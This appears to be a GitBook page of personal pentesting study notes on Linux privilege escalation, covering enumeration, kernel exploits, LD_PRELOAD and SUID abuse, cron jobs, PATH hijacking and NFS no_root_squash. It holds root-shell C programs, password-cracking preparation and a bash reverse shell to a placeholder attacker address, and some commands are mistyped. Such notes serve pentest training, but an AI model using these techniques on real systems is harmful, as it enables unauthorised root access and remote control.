📝
Home
Pentesting
  • 📝Home
  • ⚒️PENTESTING
    • Foundational
      • Gaining Access
      • Session Hijacking
      • Buffer Overflows
        • Finding the Offset
        • Spiking
        • Fuzzing
      • Attack Basics
        • Brute Force Attacks
        • Credential Stuffing and Password Spraying
        • Netcat Shell Stabilization
        • Reverse Shells vs Bind Shells
        • Staged vs Non-Staged Payloads
      • Footprinting
    • Reconnaissance
      • Discovering Email Addresses
      • Hunting Subdomains
    • Scanning and Enumeration
      • Banner Grabbing
      • Enumerating HTTP and HTTPS
      • Enumerating SMB
      • Enumerating SSH
      • NetBIOS Enumeration
      • SNMP Enumeration
      • Sniffing
    • Privilege Escalation
      • 🐧Linux Privilege Escalation
      • 🪟Windows Privilege Escalation
        • Initial Enumeration
    • Defense Evasion
      • Hiding Files and Covering Tracks
      • Network Evasion
    • Attacking Services
      • Attacking Kerberos
      • Attacking VPNs
      • Denial of Service
      • Exploiting FTP
      • Exploiting NFS
      • Exploiting SMTP
      • Exploiting Telnet
    • Attacking Active Directory
      • Initial Attack Vectors
        • Gaining Shell Access
        • LLMNR Poisoning
        • SMB Relay
        • Passback Attacks
        • IPv6 Attacks
      • Post-Compromise Enumeration
        • Bloodhound
        • ldapdomaindump
        • PowerView
        • PlumHound
      • Post-Compromise Attacks
        • GPP Attacks
        • Print Nightmare
        • Token Impersonation using Incognito
        • URL File Attack
        • Pass Attacks
        • Kerberoasting
        • LNK File Attacks
        • Mimikatz
      • Post-Domain Compromise Attacks
        • Dumping the NTDS.dit
        • Golden Ticket Attacks
      • Post Exploitation
    • Toolkit
      • Burp Suite
        • Intruder
      • Hping
        • Crafting TCP and UDP Packets
      • Metasploit
        • Meterpreter
        • Shell Handler
        • Gather Information
        • Gaining Root
    • Web Application Hacking
      • Attack Methodology
      • Attacking Web Applications
      • Authentication Bypass
      • Cross-Site Scripting
      • Cross-Site Request Forgery
      • File Inclusion
      • Server-Side Request Forgery
      • Injection
        • Command Injection
        • LDAP Injection
        • SQL Injection
  • 👽MALWARE ANALYSIS
    • Malware Analysis Primer
    • Malware Types
      • Rootkits
      • Viruses
      • WannaCry
    • Analyzing Malicious Windows Programs
    • Static Analysis
      • Basic Static Techniques
      • Advanced Static Analysis
    • Reverse Engineering
      • Crash Course in x86 Disassembly
      • Recognizing Code in Assembly Language
    • Dynamic Analysis
    • Detecting Malware
      • Evasion Techniques
      • Detecting Mimikatz
      • Hunting Malware
      • Hunting Metasploit
      • Hunting Persistence
  • 🏹THREAT HUNTING
    • Foundational
      • ATT&CK Framework
      • CIA Triad
    • APTs
  • 🐍PROGRAMMING & SCRIPTING
    • Foundational
      • Computer Memory
    • C Programming
    • Assembly Language
      • Assembly File Structure
      • Debugging with gdb
    • Bash
    • Python
      • Foundational
        • Booleans and Operators
        • Comprehensions
        • Conditionals
        • Dictionaries
        • Exceptions and Error Handling
        • Functions
        • Lambdas
        • Lists
        • Loops
        • Modules
        • Numbers
        • Reading and Writing Files
        • Sets
        • Sockets
        • String Formatting
        • Tuples
        • User Input
        • Variables
      • Extending Python
        • Virtual Environments
        • Sys Module
        • Requests
        • pwntools
    • Regular Expressions
    • SQL
  • 🕵️DIGITAL FORENSICS
    • Anti-Forensic Techniques
    • 🪟Windows Security Internals
      • Windows Security Internals
        • Kernel
          • Security Reference Monitor (SRM)
          • Object Manager
            • System Calls
            • NTSTATUS Codes
            • Object Handles
            • Query and Set Information System Calls
          • The I/O Manager & The Process and Thread Manager
          • The Memory Manager
          • The Configuration Manager
  • 💼GRC (CISSP Notes)
    • Security Assessment and Testing
    • Security Governance Principles
    • Security Policies Standards and Procedures
    • Preventing and Responding to Incidents
    • Organizational Roles and Responsibilities
    • Organizational Processes
  • 📦Networking
    • Foundational
      • DHCP
      • DNS Basics
      • HTTP Protocol
      • IPSec
      • IPv6 Fundamentals
    • Wireless Technologies
      • 802.11
      • Bluetooth
      • Wireless Authentication
      • Wireless Encryption
Powered by GitBook
On this page
  • Enumeration
  • Kernel Exploits
  • Sudo
  • SUID
  • Capabilities
  • Cron Jobs
  • Path
  • NFS
  1. PENTESTING
  2. Privilege Escalation

Linux Privilege Escalation

Enumeration

# Print hostname 
hostname

# Kernel information 
uname -a 

# Processes 
/proc/version

# Systems 
/etc/issues

# Processes 
ps 

# Env variables 
env

# List sudo commands 
sudo -l 

# Connections 
netstat

Kernel Exploits

The Kernel exploit methodology is simple:

  1. Identify the kernel version

  2. Search and find an exploit code for the kernel version of the target system

  3. Run the exploit

You can transfer the exploit code from your machine to the target system using the SimpleHTTPServer Python module and wget respectively.

# python 2 
python -m SimpleHTTPServer 8000

# python 3
python -m http.server 8000

Sudo

The steps of this privilege escalation vector can be summarized as follows:

  1. Run sudo -l

  2. Check for LD_PRELOAD (with the env_keep option)

  3. Write a simple C code compiled as a share object (.so extension) file

  4. Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file

# This C code spawns a root shell 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main (void) {
	setuid(0);
	setgid(0);
	system("/bin/bash -p");
	return 0;
}
# Compile the code 
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# Run the program
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find 

SUID

# List files that have SUID or SGID bits set
find / -type f -04000 -ls 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

# Use unshadow to create a file crackable by John The Ripper 
unshadow passwd.txt shadow.txt > passwords.txt

Capabilities

# Get capabilities and redirect errors 
getcap -r / 2>/dev/null

Cron Jobs

  • Crontab is always worth checking as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:

  1. System administrators need to run a script at regular intervals.

  2. They create a cron job to do this

  3. After a while, the script becomes useless, and they delete it

  4. They do not clean the relevant cron job

  • Two points to note:

  1. The command syntax will vary depending on the available tools. (e.g. nc will probably not support the -e option you may have seen used in other cases)

  2. We should always prefer to start reverse shells, as we not want to compromise the system integrity during a real penetration testing engagement.

# Show cron jobs 
cat /etc/crontab

# spawn a shell 
bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1

# run listener on attacking machine 
nc -nlvp xxxx 

Path

  • Depends entirely on the existing configuration of the target system, so be sure you can answer the questions below before trying this.

  1. What folders are located under $PATH

  2. Does your current user have write privileges for any of these folders?

  3. Can you modify $PATH?

  4. Is there a script/application you can start that will be affected by this vulnerability?

# This code tries to launch a system binary called "thm"
# include<unistd.h>

void main()
{ setuid(0);
  setgid(0);
  system("thm");
}
# search for writable folders 
find / - writable 2>/dev/null

# search alternative
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

#compare the previous results with PATH 
echo $PATH

# Add /tmp to PATH 
export PATH=/tmp:$PATH

# Make sure script is executable, 777 permissions and SUID set 
chmod 777 script.c 
chmod +x script.c
chmod +s script.c

NFS

  • The critical element for this privilege escalation vector is the no_root_squash option. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the no_root_squash option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.

# Print NFS configuration 
cat /etc/exports

# Enumerate mountable shares in attacking machine 
showmount -e x.x.x.x

# mount the share 
mkdir /tmp/target_shares 
mount -o rw x.x.x.x:/share_name /tmp/target_shares

# Compile the nfs script 
gcc nfs.c -o nfs -w 

# Set SUID 
chmod +s nfs

# Set permissions 
chmod 777 nfs

# Execute script on the target machine (should get a root shell)
./nfs 
# Scripts runs bash on the target machine 
int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}
PreviousPrivilege EscalationNextWindows Privilege Escalation

Last updated 1 year ago

⚒️
🐧
GTFOBins
GTFOBins